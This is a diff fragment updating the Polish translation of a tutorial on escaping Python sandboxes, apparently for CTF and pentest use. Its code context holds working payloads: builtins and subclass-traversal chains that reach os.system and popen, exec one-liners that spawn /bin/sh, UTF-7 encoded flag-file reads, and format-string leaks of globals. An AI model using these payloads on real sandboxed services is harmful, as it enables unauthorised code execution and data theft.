```
|
||||
## Operatorzy i krótkie sztuczki
|
||||
## Operatory i krótkie sztuczki
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
|
@ -157,9 +158,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Omijanie zabezpieczeń poprzez kodowania (UTF-7)
|
||||
## Bypassing protections through encodings (UTF-7)
|
||||
|
||||
W [**tym opracowaniu**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używany do wczytania i wykonania dowolnego kodu Pythona w pozornym sandboxie:
|
||||
W [**tym artykule**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używane do ładowania i wykonywania dowolnego kodu python wewnątrz pozornie izolowanego środowiska:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -170,13 +171,13 @@ return x
|
|||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Jest również możliwe obejście za pomocą innych kodowań, np. `raw_unicode_escape` i `unicode_escape`.
|
||||
Możliwe jest również ominięcie tego za pomocą innych kodowań, np. `raw_unicode_escape` i `unicode_escape`.
|
||||
|
||||
## Wykonanie Pythona bez wywołań
|
||||
|
||||
Jeśli znajdujesz się w więzieniu Pythona, które **nie pozwala na wywołania**, istnieją nadal pewne sposoby na **wykonanie dowolnych funkcji, kodu** i **komend**.
|
||||
Jeśli jesteś w więzieniu Pythona, które **nie pozwala na wywołania**, wciąż istnieją sposoby na **wykonanie dowolnych funkcji, kodu** i **komend**.
|
||||
|
||||
### RCE za pomocą [dekoratorów](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
### RCE z [dekoratorami](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
@exec
|
||||
|
@ -200,11 +201,11 @@ class _:pass
|
|||
```
|
||||
### RCE tworzenie obiektów i przeciążanie
|
||||
|
||||
Jeśli możesz **zadeklarować klasę** i **utworzyć obiekt** tej klasy, możesz **napisać/nadpisać różne metody**, które mogą być **wywołane** **bez konieczności bezpośredniego ich wywoływania**.
|
||||
Jeśli możesz **zadeklarować klasę** i **utworzyć obiekt** tej klasy, możesz **zapisać/przeciążyć różne metody**, które mogą być **wywoływane** **bez** **konieczności ich bezpośredniego wywoływania**.
|
||||
|
||||
#### RCE z niestandardowymi klasami
|
||||
|
||||
Możesz zmodyfikować niektóre **metody klasy** (_poprzez nadpisanie istniejących metod klasy lub tworzenie nowej klasy_), aby wykonywały **dowolny kod** po **wywołaniu** bez bezpośredniego ich wywoływania.
|
||||
Możesz modyfikować niektóre **metody klas** (_przez nadpisywanie istniejących metod klas lub tworzenie nowej klasy_), aby sprawić, że będą **wykonywać dowolny kod** po **wywołaniu** bez bezpośredniego ich wywoływania.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -256,7 +257,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
|||
```
|
||||
#### Tworzenie obiektów za pomocą [metaklas](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Kluczową rzeczą, którą metaklasy pozwalają nam zrobić, jest **utworzenie instancji klasy, bez bezpośredniego wywoływania konstruktora**, poprzez utworzenie nowej klasy z docelową klasą jako metaklasą.
|
||||
Kluczową rzeczą, którą metaklasy pozwalają nam zrobić, jest **utworzenie instancji klasy, bez bezpośredniego wywoływania konstruktora**, poprzez stworzenie nowej klasy z docelową klasą jako metaklasą.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
|
@ -271,9 +272,9 @@ Sub['import os; os.system("sh")']
|
|||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### Tworzenie obiektów za pomocą wyjątków
|
||||
#### Tworzenie obiektów z wyjątkami
|
||||
|
||||
Kiedy zostanie **wywołany wyjątek**, obiekt **Exception** jest **tworzony** bez konieczności bezpośredniego wywoływania konstruktora (szczegół od [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
|
||||
Gdy **wyjątek jest wywoływany**, obiekt **Exception** jest **tworzony** bez potrzeby bezpośredniego wywoływania konstruktora (sztuczka od [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
|
@ -315,7 +316,7 @@ __iadd__ = eval
|
|||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Odczytaj plik za pomocą wbudowanych funkcji help & license
|
||||
### Przeczytaj plik z pomocą i licencją builtins
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
|
@ -324,22 +325,22 @@ a.__class__.__exit__ = lambda self, *args: None
|
|||
with (a as b):
|
||||
pass
|
||||
```
|
||||
## Wbudowane funkcje
|
||||
## Builtins
|
||||
|
||||
* [**Funkcje wbudowane w python2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Funkcje wbudowane w python3**](https://docs.python.org/3/library/functions.html)
|
||||
* [**Funkcje wbudowane Pythona 2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Funkcje wbudowane Pythona 3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Jeśli masz dostęp do obiektu **`__builtins__`**, możesz importować biblioteki (zauważ, że tutaj można również użyć innej reprezentacji ciągu znaków pokazanej w ostatniej sekcji):
|
||||
Jeśli masz dostęp do obiektu **`__builtins__`**, możesz importować biblioteki (zauważ, że możesz również użyć tutaj innej reprezentacji ciągu pokazanej w ostatniej sekcji):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### Brak wbudowanych funkcji
|
||||
### Brak Wbudowanych
|
||||
|
||||
Kiedy nie masz `__builtins__`, nie będziesz w stanie importować niczego ani nawet czytać ani pisać plików, ponieważ **wszystkie funkcje globalne** (takie jak `open`, `import`, `print`...) **nie są załadowane**.\
|
||||
Jednakże, **domyślnie python importuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności wewnątrz nich, do których można uzyskać dostęp nawet w celu **wykonania dowolnego kodu**.
|
||||
Kiedy nie masz `__builtins__`, nie będziesz w stanie zaimportować niczego ani nawet czytać lub pisać plików, ponieważ **wszystkie funkcje globalne** (jak `open`, `import`, `print`...) **nie są załadowane**.\
|
||||
Jednak **domyślnie python importuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności, które można wykorzystać do uzyskania **dowolnego wykonania kodu**.
|
||||
|
||||
W poniższych przykładach możesz zobaczyć, jak **nadużyć** niektórych z tych "**nieszkodliwych**" załadowanych modułów, aby uzyskać dostęp do **niebezpiecznych** **funkcjonalności** wewnątrz nich.
|
||||
W poniższych przykładach możesz zaobserwować, jak **wykorzystać** niektóre z tych "**nieszkodliwych**" modułów załadowanych do **dostępu** do **niebezpiecznych** **funkcjonalności** wewnątrz nich.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -381,7 +382,7 @@ get_flag.__globals__['__builtins__']
|
|||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Poniżej znajduje się większa funkcja**](./#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, gdzie można znaleźć **builtins**.
|
||||
[**Poniżej znajduje się większa funkcja**](./#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których można znaleźć **builtins**.
|
||||
|
||||
#### Python2 i Python3
|
||||
```python
|
||||
|
@ -397,9 +398,9 @@ __builtins__["__import__"]("os").system("ls")
|
|||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## Zmienne globalne i lokalne
|
||||
## Globals and locals
|
||||
|
||||
Sprawdzenie **`globals`** i **`locals`** to dobry sposób, aby wiedzieć, do czego masz dostęp.
|
||||
Sprawdzenie **`globals`** i **`locals`** to dobry sposób, aby dowiedzieć się, do czego masz dostęp.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
|
@ -423,15 +424,15 @@ class_obj.__init__.__globals__
|
|||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Poniżej znajduje się większa funkcja**](./#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, gdzie można znaleźć **globals**.
|
||||
[**Poniżej znajduje się większa funkcja**](./#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których można znaleźć **globals**.
|
||||
|
||||
## Odkrywanie Dowolnego Wykonania
|
||||
## Odkrywanie Arbitralnej Egzekucji
|
||||
|
||||
Tutaj chcę wyjaśnić, jak łatwo odkryć **bardziej niebezpieczne funkcjonalności załadowane** i zaproponować bardziej niezawodne eksploity.
|
||||
Tutaj chcę wyjaśnić, jak łatwo odkryć **bardziej niebezpieczne funkcjonalności załadowane** i zaproponować bardziej niezawodne exploity.
|
||||
|
||||
#### Dostęp do podklas za pomocą bypassów
|
||||
#### Uzyskiwanie dostępu do podklas z obejściami
|
||||
|
||||
Jedną z najbardziej wrażliwych części tej techniki jest możliwość **dostępu do podklas bazowych**. W poprzednich przykładach było to realizowane za pomocą `''.__class__.__base__.__subclasses__()`, ale istnieją **inne możliwe sposoby**:
|
||||
Jedną z najbardziej wrażliwych części tej techniki jest możliwość **uzyskania dostępu do podstawowych podklas**. W poprzednich przykładach zrobiono to za pomocą `''.__class__.__base__.__subclasses__()`, ale istnieją **inne możliwe sposoby**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
|
@ -459,18 +460,18 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### Znajdowanie niebezpiecznych bibliotek załadowanych
|
||||
### Znajdowanie niebezpiecznych załadowanych bibliotek
|
||||
|
||||
Na przykład, wiedząc, że z biblioteką **`sys`** jest możliwe **importowanie dowolnych bibliotek**, można wyszukać wszystkie **załadowane moduły, które zaimportowały sys wewnątrz nich**:
|
||||
Na przykład, wiedząc, że z biblioteką **`sys`** możliwe jest **importowanie dowolnych bibliotek**, możesz wyszukać wszystkie **załadowane moduły, które mają zaimportowane sys w sobie**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
Jest wiele, a **potrzebujemy tylko jednego**, aby wykonywać polecenia:
|
||||
Jest ich wiele, a **potrzebujemy tylko jednego**, aby wykonać polecenia:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Możemy zrobić to samo z **innymi bibliotekami**, które wiemy, że mogą być użyte do **wykonywania poleceń**:
|
||||
Możemy zrobić to samo z **innymi bibliotekami**, o których wiemy, że mogą być używane do **wykonywania poleceń**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
|
@ -505,7 +506,7 @@ Możemy zrobić to samo z **innymi bibliotekami**, które wiemy, że mogą być
|
|||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Ponadto możemy nawet sprawdzić, które moduły wczytują złośliwe biblioteki:
|
||||
Ponadto, moglibyśmy nawet sprawdzić, które moduły ładują złośliwe biblioteki:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
|
@ -524,7 +525,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
|||
pdb:
|
||||
"""
|
||||
```
|
||||
Ponadto, jeśli uważasz, że **inne biblioteki** mogą być w stanie **wywoływać funkcje w celu wykonania poleceń**, możemy również **filtrować po nazwach funkcji** wewnątrz możliwych bibliotek:
|
||||
Ponadto, jeśli uważasz, że **inne biblioteki** mogą **wywoływać funkcje do wykonywania poleceń**, możemy również **filtrować według nazw funkcji** w możliwych bibliotekach:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
|
@ -555,11 +556,12 @@ load_source: NullImporter, _HackedGetData
|
|||
execfile:
|
||||
execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Rekurencyjne wyszukiwanie wbudowanych funkcji, globalnych...
|
||||
## Rekurencyjne wyszukiwanie builtins, globals...
|
||||
|
||||
{% hint style="warning" %}
|
||||
To po prostu jest **niesamowite**. Jeśli **szukasz obiektu takiego jak globals, builtins, open lub cokolwiek innego**, po prostu użyj tego skryptu, aby **rekurencyjnie znaleźć miejsca, gdzie możesz znaleźć ten obiekt.**
|
||||
To jest po prostu **niesamowite**. Jeśli **szukasz obiektu takiego jak globals, builtins, open lub czegokolwiek innego**, po prostu użyj tego skryptu, aby **rekurencyjnie znaleźć miejsca, w których możesz znaleźć ten obiekt.**
|
||||
{% endhint %}
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
@ -684,11 +686,11 @@ Możesz sprawdzić wynik tego skryptu na tej stronie:
|
|||
|
||||
## Python Format String
|
||||
|
||||
Jeśli **przesyłasz** do pythona **ciąg znaków**, który ma być **sformatowany**, możesz użyć `{}` do dostępu do **wewnętrznych informacji pythona**. Możesz użyć poprzednich przykładów do uzyskania dostępu do globalnych zmiennych lub wbudowanych funkcji na przykład.
|
||||
Jeśli **wyślesz** **ciąg** do Pythona, który ma być **formatowany**, możesz użyć `{}` do uzyskania dostępu do **wewnętrznych informacji Pythona.** Możesz użyć wcześniejszych przykładów, aby uzyskać dostęp do globalnych lub wbudowanych, na przykład.
|
||||
|
||||
{% hint style="info" %}
|
||||
Jednak istnieje **ograniczenie**, możesz używać tylko symboli `.[]`, więc **nie będziesz w stanie wykonać dowolnego kodu**, tylko odczytać informacje.\
|
||||
_**Jeśli wiesz, jak wykonać kod za pomocą tej podatności, skontaktuj się ze mną.**_
|
||||
_**Jeśli wiesz, jak wykonać kod przez tę lukę, skontaktuj się ze mną.**_
|
||||
{% endhint %}
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
|
@ -709,16 +711,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Zauważ, jak można **uzyskać dostęp do atrybutów** w normalny sposób za pomocą **kropki** jak `people_obj.__init__` oraz do **elementów słownika** za pomocą **nawiasów** bez cudzysłowów `__globals__[CONFIG]`
|
||||
Zauważ, jak możesz **uzyskać dostęp do atrybutów** w normalny sposób za pomocą **kropki** jak `people_obj.__init__` i **elementu dict** z **nawiasami** bez cudzysłowów `__globals__[CONFIG]`
|
||||
|
||||
Zauważ również, że można użyć `.__dict__` do wyliczenia elementów obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Zauważ również, że możesz użyć `.__dict__`, aby wyliczyć elementy obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Niektóre inne interesujące cechy ciągów formatujących to możliwość **wykonania** funkcji **`str`**, **`repr`** oraz **`ascii`** w wskazanym obiekcie poprzez dodanie **`!s`**, **`!r`**, **`!a`** odpowiednio:
|
||||
Niektóre inne interesujące cechy ciągów formatu są możliwością **wykonywania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie, dodając **`!s`**, **`!r`**, **`!a`** odpowiednio:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Ponadto, można **kodować nowe formatery** w klasach:
|
||||
Ponadto, możliwe jest **kodowanie nowych formatterów** w klasach:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
|
@ -729,17 +731,17 @@ return 'HAL 9000'
|
|||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Więcej przykładów** dotyczących przykładów **formatowania** **łańcuchów znaków** można znaleźć na stronie [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Więcej przykładów** dotyczących **format** **string** można znaleźć na [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Sprawdź również następującą stronę w poszukiwaniu gadżetów, które będą **czytać poufne informacje z wewnętrznych obiektów Pythona**:
|
||||
Sprawdź również następującą stronę w poszukiwaniu gadżetów, które r**ead sensitive information from Python internal objects**:
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Payloady ujawniania poufnych informacji
|
||||
### Payloady ujawniające wrażliwe informacje
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
|
@ -753,12 +755,12 @@ Sprawdź również następującą stronę w poszukiwaniu gadżetów, które będ
|
|||
## Analiza obiektów Pythona
|
||||
|
||||
{% hint style="info" %}
|
||||
Jeśli chcesz **dowiedzieć się** więcej o **bajtkodzie Pythona**, przeczytaj ten **niesamowity** artykuł na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
Jeśli chcesz **nauczyć się** o **bytecode Pythona** w głębi, przeczytaj ten **świetny** post na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
W niektórych CTF-ach możesz otrzymać nazwę **niestandardowej funkcji, w której znajduje się flaga**, i musisz zobaczyć **wewnętrzne** aspekty tej **funkcji**, aby ją wydobyć.
|
||||
W niektórych CTF-ach możesz otrzymać nazwę **niestandardowej funkcji, w której znajduje się flaga** i musisz zobaczyć **wnętrze** **funkcji**, aby ją wydobyć.
|
||||
|
||||
